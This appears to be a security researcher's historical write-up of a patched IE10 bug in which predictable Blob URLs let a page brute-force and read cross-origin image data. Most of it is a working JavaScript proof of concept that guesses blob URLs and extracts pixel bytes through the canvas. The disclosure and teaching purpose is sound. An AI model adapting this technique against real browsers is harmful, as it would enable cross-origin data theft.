IE10’s URL.createObjectURL() generated Blob URLs with insufficient randomness. Image blob URLs were readable by any domain in the same window — including cross-origin iframes. The only protection was that the attacker needed to know the exact URL. After playing around for a while, I realized the URL format only varied in a few nibbles with limited range, making brute-force practical.
<!-- attacker page -->
<iframe src="otherdomain.html"></iframe>
<input type="button" value="Run PoC - Find Blob Now!" onclick="main()">
<script>
var blobURL, middleBlockConst, iBlobs;
function main()
{
var oXML = new XMLHttpRequest();
oXML.open("GET", "dummy", false);
oXML.responseType = "blob";
oXML.send(null);
blobURL = window.URL.createObjectURL(oXML.response);
middleBlockConst = blobURL.substr(9,6);
getNextBlob();
}
var firstBlockGuess, lastBlockGuess;
var firstBlockMax = parseInt("7FFF", 16);
var lastBlockMax = parseInt("FF", 16);
var gI = 0;
var blobFound = false;
var arrImages = new Array();
for (var i = 0; i <= lastBlockMax; i++)
{
arrImages[i] = new Image();
}
function getNextBlob()
{
if (gI <= firstBlockMax)
{
firstBlockGuess = gI.toString(16);
firstBlockGuess = (Array(4 - firstBlockGuess.length + 1).join("0") + firstBlockGuess).toUpperCase();
for (var j = 0; j <= lastBlockMax; j++)
{
lastBlockGuess = j.toString(16);
lastBlockGuess = (lastBlockGuess.length < 2 ? ("0" + lastBlockGuess) : lastBlockGuess).toUpperCase();
arrImages[j].onload = function()
{
blobFound = true;
alert("Blob Found: " + this.src + "\n\nNow we will read the image bytes, bypassing the cross domain policy");
readImageBytes(this);
}
if (j == (lastBlockMax-1))
{
arrImages[j].onerror = function()
{
if (!blobFound) { setTimeout("getNextBlob();"); }
}
}
arrImages[j].src = "blob:" + firstBlockGuess + middleBlockConst + lastBlockGuess;
}
gI++;
}
}
function readImageBytes(oImg)
{
var context = document.all.canvas.getContext("2d");
context.drawImage(oImg, 0, 0);
var imgData = context.getImageData(0, 0, oImg.width, oImg.height);
var bytes = "";
for (var i=0; i < imgData.data.length; i++)
{
bytes += imgData.data[i] + ",";
}
alert("These are the bytes from the xDomain image:\n\n" + bytes);
}
</script>
<canvas id="canvas"></canvas>
A Blob URL looked like blob:1A406103775E where only a few nibbles changed between calls, and the first nibble was always at most 7. That gave a search space of at most 8,388,607 values (0x7FFFFF). The PoC tried 256 candidates per tick using Image.onload as a hit detector, then read the image bytes via canvas.getImageData() — bypassing the same-origin policy for the image content.
Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.